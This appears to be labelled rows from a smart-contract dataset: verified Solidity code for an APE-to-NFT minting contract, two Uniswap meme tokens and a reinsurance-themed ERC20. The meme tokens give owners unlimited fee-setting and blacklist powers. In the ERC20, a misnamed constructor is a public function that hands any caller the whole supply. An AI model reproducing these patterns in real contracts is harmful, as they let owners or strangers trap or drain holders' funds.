* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity ^0.8.0;
interface APE {
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns(uint256);
function approve(address spender, uint256 amount) external returns(bool);
}
//This NFT is a trade for $APE so I can hopefully buy a MAYC I REALLY wanna be apart of the club!!
pragma solidity ^0.8.0;
contract CommemorativeAPEcoin is ERC721A, Ownable {
uint256 public NFT_ApePrice = 1 ether;
uint256 public MAX_SUPPLY = 10000;
uint256 public MAX_MINTS = 100;
string public baseURI = "";
string public baseExtension = ".json";
bool public paused = true;
APE private immutable Ape;
constructor() ERC721A("Commemorative APEcoin", "COMAPE", MAX_MINTS, MAX_SUPPLY) {
Ape = APE(0x4d224452801ACEd8B2F0aebE155379bb5D594381);
}
function initialize() public onlyOwner {
Ape.approve(address(this), 1000000000000000000000);
}
function tradeApe(uint256 numTokens) external {
require(!paused, "Paused");
require(numTokens > 0 && numTokens <= MAX_MINTS);
require(totalSupply() + numTokens <= MAX_SUPPLY, "Over max");
require(NFT_ApePrice * numTokens <= Ape.balanceOf(msg.sender), "Low APE");
require(NFT_ApePrice * numTokens <= Ape.allowance(msg.sender, address(this)), "Low APE");
Ape.transferFrom(msg.sender, address(this), NFT_ApePrice * numTokens);
_safeMint(msg.sender, numTokens);
}
function ohshitButton(bool _state) public onlyOwner {
paused = _state;
}
function setBaseURI(string memory newBaseURI) public onlyOwner {
baseURI = newBaseURI;
}
function tokenURI(uint256 _tokenId)
public
view
override
returns (string memory)
{
require(_exists(_tokenId), "That token doesn't exist");
return
bytes(baseURI).length > 0
? string(
abi.encodePacked(
baseURI,
Strings.toString(_tokenId),
baseExtension
)
)
: "";
}
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
function withdraw() public onlyOwner {
require(payable(msg.sender).send(address(this).balance)); // Just in case someone sends ETH we can send back
Ape.transferFrom(address(this), msg.sender, Ape.balanceOf(address(this))); //APE
}
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2022-04-03
*/
/**
ELON TWEET
Berlin Rocks
https://twitter.com/elonmusk/status/1510711332366131209
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BerlInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Berlin Inu";
string private constant _symbol = "BERLINU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 0;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 12;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x2767c49FeD4ADCF7f37E04532721Ff2fc14a5A17);
address payable private _marketingAddress = payable(0x2767c49FeD4ADCF7f37E04532721Ff2fc14a5A17);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2021-09-25
*/
// Tele: https://t.me/zenitsuinu
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ZenitsuInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1 * 10**12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Zenitsu Inu";
string private constant _symbol = "ZENITSU";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x66C53a474d76d541371fe327028C3dAaB20c4D29);
_feeAddrWallet2 = payable(0x66C53a474d76d541371fe327028C3dAaB20c4D29);
_rOwned[address(this)] = _rTotal.div(2);
_rOwned[0x000000000000000000000000000000000000dEaD] = _rTotal.div(2);
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0),address(this),_tTotal.div(2));
emit Transfer(address(0),address(0x000000000000000000000000000000000000dEaD),_tTotal.div(2));
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 1;
_feeAddr2 = 9;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 1;
_feeAddr2 = 9;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
True
|
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102
] |
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] |
pragma solidity ^0.4.21 ;
contract RE_Portfolio_VII_883 {
mapping (address => uint256) public balanceOf;
string public name = " RE_Portfolio_VII_883 " ;
string public symbol = " RE883VII " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 1592025577783000000000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value; // deduct from sender's balance
balanceOf[to] += value; // add to recipient's balance
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
// }
// Programme d'émission - Lignes 1 à 10
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_VII_metadata_line_1_____Berkshire_Hathaway_International_Insurance_Limited_AAp_m_20250515 >
// < b2Kw7N8NLpexUO9DEYi3BzwDFFOzXE40G65XdI97oPS6RUMggy8x8Rtkb5HJJDh1 >
// < 1E-018 limites [ 1E-018 ; 28861009,3216454 ] >
// < 0x00000000000000000000000000000000000000000000000000000000AC0669B8 >
// < RE_Portfolio_VII_metadata_line_2_____Berkshire_Hathaway_Reinsurance_Group_20250515 >
// < q8N3AiSQHotWCy8QaoMidG5VNk6nk7UD4284UfEWO19c4ie4rk4wxO53DcC5z2zA >
// < 1E-018 limites [ 28861009,3216454 ; 107464025,849827 ] >
// < 0x00000000000000000000000000000000000000000000000AC0669B828089190C >
// < RE_Portfolio_VII_metadata_line_3_____Berkshire_Hathaway_Reinsurance_Group_20250515 >
// < ItB1QMaSI43svE614VC54wE43pTHK4GcSjbbq21s95VP18Poh2t06U96MUubV83j >
// < 1E-018 limites [ 107464025,849827 ; 156578902,884003 ] >
// < 0x000000000000000000000000000000000000000000000028089190C3A54873E4 >
// < RE_Portfolio_VII_metadata_line_4_____BMA_Reinsurance_20250515 >
// < 90n5m1q50K17iUBt7rUP29etVnJ4ctxfYFrB4Ub3ls4KmnQ30XAM7W8436h6LIbO >
// < 1E-018 limites [ 156578902,884003 ; 225896638,136609 ] >
// < 0x00000000000000000000000000000000000000000000003A54873E454272EC39 >
// < RE_Portfolio_VII_metadata_line_5_____BMS_Group_20250515 >
// < LrA09QyS6bkUkdaknm7PZDX1X588y9N8p13SS2RWISX7H8Cm3UmoM95Js53821FT >
// < 1E-018 limites [ 225896638,136609 ; 268843872,939129 ] >
// < 0x000000000000000000000000000000000000000000000054272EC396426F33D1 >
// < RE_Portfolio_VII_metadata_line_6_____Brazil_BBBm_IRB_Brasil_Resseguros_SA_Am_20250515 >
// < iAqv2Ie5kCO6C5y6Y4O9Y61E3K45JC0H913yvt70MrM4lTTNIkSzC8PNy53ZjeT8 >
// < 1E-018 limites [ 268843872,939129 ; 308603123,761401 ] >
// < 0x00000000000000000000000000000000000000000000006426F33D172F6B012C >
// < RE_Portfolio_VII_metadata_line_7_____Brit_Syndicates_Limited_20250515 >
// < S7A2xFrB261sM3Ov9trH9pikH5q6MvIZ92ie38mpWIxIYoLc1D1yR8l2b6FI3I9A >
// < 1E-018 limites [ 308603123,761401 ; 343931584,044248 ] >
// < 0x000000000000000000000000000000000000000000000072F6B012C801FDF4F8 >
// < RE_Portfolio_VII_metadata_line_8_____Brit_Syndicates_Limited_20250515 >
// < m115VJCWvGd95ZU2sU1LSZ3yS5o9L3K9I36sKGjwIkKBftNtffo7vLcjO6BN5U5D >
// < 1E-018 limites [ 343931584,044248 ; 358777504,407766 ] >
// < 0x0000000000000000000000000000000000000000000000801FDF4F885A7B089C >
// < RE_Portfolio_VII_metadata_line_9_____Brit_Syndicates_Limited_20250515 >
// < 3IsEaM4aUW6EOzlM229lwPP2O79e85Tf0Ta0nZh6Wtn5MfA1KWespDC134GH8819 >
// < 1E-018 limites [ 358777504,407766 ; 372565099,747833 ] >
// < 0x000000000000000000000000000000000000000000000085A7B089C8ACA93C0A >
// < RE_Portfolio_VII_metadata_line_10_____Brit_Syndicates_Limited_20250515 >
